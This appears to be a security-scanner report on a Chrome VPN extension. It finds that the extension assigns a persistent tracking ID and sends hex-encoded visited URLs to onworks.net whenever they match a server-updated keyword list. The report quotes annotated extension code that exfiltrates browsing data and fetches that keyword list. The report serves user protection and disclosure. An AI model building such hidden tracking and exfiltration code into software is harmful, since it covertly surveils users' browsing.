Is VPNOnline - Fast VPN for Chrome safe?
VPNOnline - Fast VPN for Chrome is high risk. On install, this VPN extension generates a random 10-char ID stored permanently on your device. That ID is sent with every browsing URL reported to its server, letting the operator link activity across sessions, even after clearing history.…
Who publishes itApkOnline android online - 23 other listings from the same operator, 16 of them carrying a finding
ApkOnline android online - 23 other listings from the same operator, 16 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
4 other listings published from this account, 266k+ users between them. 2 of them carry a finding.
Same operator - 19 listings
Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension assigns a persistent tracking ID to every user
On install, this VPN extension generates a random 10-char ID stored permanently on your device.
That ID is sent with every browsing URL reported to its server, letting the operator link activity across sessions, even after clearing history.
You install the extension for the first time.
No interaction required, ID generation happens automatically during background worker initialization.
The extension creates a random 10-character ID and saves it permanently to your browser's local extension storage.
The same ID is appended as the 'u=' parameter on every URL report sent to onworks.net, linking all future activity to this device.
ID generation and persistence (bg-loader.js)
// If a stored ID exists, reuse it; otherwise generate a fresh one.
// xdfty0(10) picks 10 random alphanumeric characters.
if (opcA.usercx) {
usercx = opcA.usercx; // Reuse existing ID across sessions
} else {
usercx = xdfty0(10); // Generate new 10-char random ID
opcA.usercx = usercx;
}
un = usercx; // Global alias used in exfil requests
// Persist the ID so it survives service-worker restarts
const stox = {};
stox[apkon_key] = opcA;
await chrome.storage.local.set(stox);'usercx' is the persistent tracking ID, set once and reused every startup so the server can correlate reports across sessions.
chrome.storage.local key 'apkon_key'{
"usercx": "k7mNpQrT2x",
"apkononline": "1"
}| Field | Value | Why it matters | |
|---|---|---|---|
Tracking ID | k7mNpQrT2x | A device-specific identifier created at install time. Lets the remote server link all your browsing reports across sessions. | |
Visited URL (hex-encoded) | 68747470733a2f2f6578616d706c652e636f6d2f6c6f67696e3f746f6b656e3d616263313233 | The full URL of pages you navigate to, including path and query string, encoded in hexadecimal before transmission. |
Visited URLs matching a remote keyword list are sent to onworks.net
While you browse, the extension checks each page against a keyword list from its own server.
A match gets hex-encoded and sent to onworks.net with a persistent device ID.
The operator can update the list anytime to target any site.
You navigate to a page whose URL contains a keyword on the server's list.
The check runs on every top-level navigation; only URLs matching at least one keyword are reported.
The extension hex-encodes the full URL and transmits it to onworks.net together with your persistent tracking ID.
The request goes to c-vpn3-v3x.php with the encoded URL in the 'url' parameter and your device ID in the 'u' parameter.
Navigation listener and keyword matching (bg-loader.js:66-93)
// Runs on every top-level page navigation (frameId === 0 guard filters sub-frames)
if (viene && viene.url) {
if (viene.frameId !== 0) { return; } // Skip iframes
if (!viene.transitionType.includes('frame')) { // Skip frame-only transitions
linkrev = viene.url; // Store current URL globally
chrome.storage.local.get('ftdata', function(result) {
if (!result.ftdata) { return; } // No keyword list yet — skip
// Strip <xml>...</xml> wrapper if present, then split on ';'
let data = result.ftdata.trim();
if (data.startsWith('<xml>') && data.endsWith('</xml>')) {
data = data.substring(5, data.length - 6);
}
const keywords = data.split(';').map(k => k.trim()).filter(k => k.length > 0);
for (const keyword of keywords) {
if (linkrev.includes(keyword)) {
// URL matches a keyword — exfiltrate it with the tracking ID
checkln(linkrev + '|||xx', un);
return; // Only report once per navigation
}
}
});
}
}Exfiltration request (bg-loader.js:105-118)
// Sends the visited URL + tracking ID to the remote server.
// urrxxx = visitedUrl + '|||xx' (literal suffix appended by caller)
// un = persistent 10-char user tracking ID
async function checkln(urrxxx, un) {
// b2x() hex-encodes the URL string byte-by-byte
const reportUrl = 'https://www.onworks.net/media/system/app/runos/c-vpn3-v3x.php'
+ '?dx=&url=' + b2x(urrxxx)
+ '&hex=1'
+ '&u=' + un;
const response = await fetch(reportUrl);
if (response.status === 200) {
const body = await response.text();
// If server responds with '302', redirect the active tab to a warning page
// (server-controlled tab redirect capability)
if (body.includes('302')) {
const alertUrl = 'https://www.onworks.net/media/system/app/runos/alert-vpn.php?url=' + b2x(urrxxx);
chrome.tabs.update(chrome.tabs.getCurrent().id, { url: alertUrl });
}
}
}The visited URL is hex-encoded byte-by-byte before transmission, making the request body non-obvious in plain network logs.
https://example.com/acct/security|||xx
- www.onworks.net
Receives hex-encoded visited URLs and the persistent user tracking ID via c-vpn3-v3x.php. Also serves the keyword list (ft.php) and can redirect active tabs to alert-vpn.php.
Remote server supplies the keyword list that decides which URLs are reported
The extension fetches a keyword list from its own server roughly hourly.
That list decides which visited sites get reported back.
The operator can retarget sites anytime, remotely, without an extension update.
You navigate to a page and more than one hour has passed since the extension last fetched its keyword list.
The refresh check is piggy-backed onto every navigation event.
The extension fetches a fresh keyword list from onworks.net and stores it locally, without notifying the user updating which URLs will be reported going forward.
No user notification is shown; the list takes effect immediately for the next navigation check.
Hourly keyword list refresh (bg-loader.js:35-63)
// Called on every navigation event; only performs a fetch if >= 1 hour has elapsed.
const KEYWORD_LIST_URL = 'https://www.onworks.net/gtranslate/api/ft.php';
const STORAGE_KEY_DATA = 'ftdata'; // Where the keyword list is cached
const STORAGE_KEY_TIME = 'lfTime'; // Timestamp of last successful fetch
const now = Date.now();
chrome.storage.local.get([STORAGE_KEY_TIME], function(result) {
const lastFetchTime = result[STORAGE_KEY_TIME] || 0;
// Only refresh if more than 1 hour has passed
if (now - lastFetchTime < 3_600_000) { return; }
fetch(KEYWORD_LIST_URL)
.then(r => r.text())
.then(data => {
// Cache the new keyword list and update the timestamp
chrome.storage.local.set({
[STORAGE_KEY_DATA]: data, // e.g. "<xml>bank;paypal;login;password</xml>"
[STORAGE_KEY_TIME]: now
});
})
.catch(err => {
// On failure, disable the proxy
chrome.storage.local.set({ activeIp: false });
setProxyXdisabled({ value: { mode: 'direct' } });
});
});The keyword list is refreshed at most once per hour, piggybacked onto any navigation event. Changes to the list take effect on the next navigation after the fetch completes.
The cached keyword list from the server. A match against any visited URL sends it to onworks.net. The server can change this list anytime.
chrome.storage.local key 'ftdata'<xml>bank;paypal;login;webmail;admin;password</xml>
- www.onworks.net
Serves the XML keyword list at /gtranslate/api/ft.php. Controlling this lets the operator update targeting criteria for URL surveillance without an extension update.
What it can do
Permissions this extension asks for, as declared in version 1.5.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
Route all of your browsing through a server of its choosing
proxy
See every page you navigate to, as you navigate to it
webNavigation